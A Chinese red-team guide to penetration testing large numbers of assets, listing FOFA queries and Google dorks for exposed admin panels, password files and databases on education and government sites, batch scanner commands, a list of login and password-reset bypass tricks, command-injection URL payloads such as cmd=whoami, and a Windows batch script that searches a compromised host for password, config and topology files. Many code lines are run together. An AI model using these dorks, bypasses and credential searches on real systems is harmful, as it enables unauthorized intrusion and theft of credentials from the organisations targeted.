红队|针对大规模资产的渗透测试思路

.ehole.exe fofaext -l ip.txt

61.*.*.*:909061.*.*.*:338961.*.*.*:5361.*.*.*:900061.*.*.*:754761.*.*.*:143361.*.*.*:200061.*.*.*:829161.*.*.*:55461.*.*.*:9090

domain="xxxx.com"  host="xxxx.com"  header="xxxx.com"  cert="xxxx.com"

查找文本内容：site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码查找后台地址：site:域名 inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms查找可注入点：site:域名 inurl:aspx|jsp|php|asp查找上传漏洞：site:域名 inurl:file|load|editor|Files找eweb编辑器：site:域名 inurl:ewebeditor|editor|uploadfile|eweb|edit存在的数据库：site:域名 filetype:mdb|asp|#查看脚本类型：site:域名 filetype:asp/aspx/php/jsp迂回策略入侵：inurl:cms/data/templates/images/index/

filetyle:xls inurl:gov username passwordinurl:phpmyadmin/main.php intitle:phpmyadminfiletype:inc inurl:config.inc hostfiletype:sql cdb_members inurl:forumdatafiletype:txt inurl:"新建文本文档.txt"密码inurl:phpinfo.php intitle:"phpinfo()""PHP Version"+"Server API"filetype:log inurl:log mdb

*.edu.cn password

docker run -it -d -p 13443:3443  xiaomimi8/docker-awvs-14.7.220401065

nuclei -list urls.txt

# coding:utf-8
import reimport osimport sysimport time
def scan():    file = open("urls.txt")    urls = []    for line in file:        lines = line.strip('n')        urls.append(lines)    file.close()    for url in urls:        name = url.replace('https://', '').replace('http://', '').replace('/', '').replace('n', '').replace(':', '-')        try:            os.mkdir('scan_report')        except:            pass        cmd = 'xray.exe webscan --basic-crawler {0}/ --html-output {1}.html'.format(url.replace('n', ''), './scan_report/' + name)        os.system(cmd.replace('n', ''))        time.sleep(0.2)
if __name__ == "__main__":    scan()

python urlscan.py

.afrog.exe -T url.txt -S medium, high, critical

.URLFinder-windows-amd64.exe -s 200 -m 3 -u http://124.71.137.81:8081 -o .

任意用户注册可爆破用户名爆破用户名，密码用户名注入万能密码用户名Xss修改返回包信息，登入他人账户修改cookie中的参数，如user,adminid等HTML源码、JS等查看信息搜集后台登录参数修改为注册参数/reg、/register、/sign等密码重置1．重置一个账户，不发送验证码，设置验证码为空发送请求。2．发送验证码，查看相应包3．验证码生存期的爆破4．修改相应包为成功的相应包5．手工直接跳转到校验成功的界面6．两个账户，重置别人密码时，替换验证码为自己正确的验证码7．重置别人密码时，替换为自己的手机号8．重置自己的成功时，同意浏览器重置别人的，不发验证码9．替换用户名，ID，cookie，token参数等验证身份的参数10．通过越权修改他人的找回信息如手机/邮箱来重置

index.php?id=2;}phpinfo();/*http://www.xxx.com/cmd.php?cmd=whoamihttp://xxx.cn/AdminPage/conf/runCmd?cmd=id

dir /a /s /b "D:*.txt"dir /a /s /b "D:*pass*"dir /a /s /b "D:*login* dir /a /s /b "D:*user*  dir /a /s /b D:\password.txt  dir /a /s /b "D:*.conf" "D:*.ini" "D:*.inc" "D:*.config"dir /a /s /b "C:*.txt" "C:*.xls*" "C:*.xlsx*" "C:*.docx" | findstr "拓扑"/C 参数来指定要查找的字符串 但是有双引号的话加不加/C感觉区别不大dir /a /s /b "C:*.conf" "C:*.ini*" "C:*.inc*" "C:*.config" | findstr /C:"运维"dir /a /s /b "D:*.txt" "D:*.xls*" "D:*.xlsx*" "D:*.docx" | findstr /C:"密码"

@echo off set "drive=D:"dir /a /s /b "%drive%*.txt" >>result.txtdir /a /s /b "%drive%*pass*" >>result.txtdir /a /s /b "%drive%*login* >>result.txtdir /a /s /b "%drive%*user* >>result.txtdir /a /s /b "%drive%password.txt" >>result.txtdir /a /s /b "%drive%*.conf" "%drive%*.ini" "%drive%*.inc" "%drive%*.config" >>result.txtdir /a /s /b "%drive%*.txt" "%drive%*.xls*" "%drive%*.xlsx*" "%drive%*.docx" | findstr "拓扑" >>result.txtdir /a /s /b "%drive%*.conf" "%drive%*.ini*" "%drive%*.inc*" "%drive%*.config" | findstr /C:"运维" >>result.txtdir /a /s /b "%drive%*.txt" "%drive%*.xls*" "%drive%*.xlsx*" "%drive%*.docx" | findstr /C:"密码" >>result.txtecho "find success"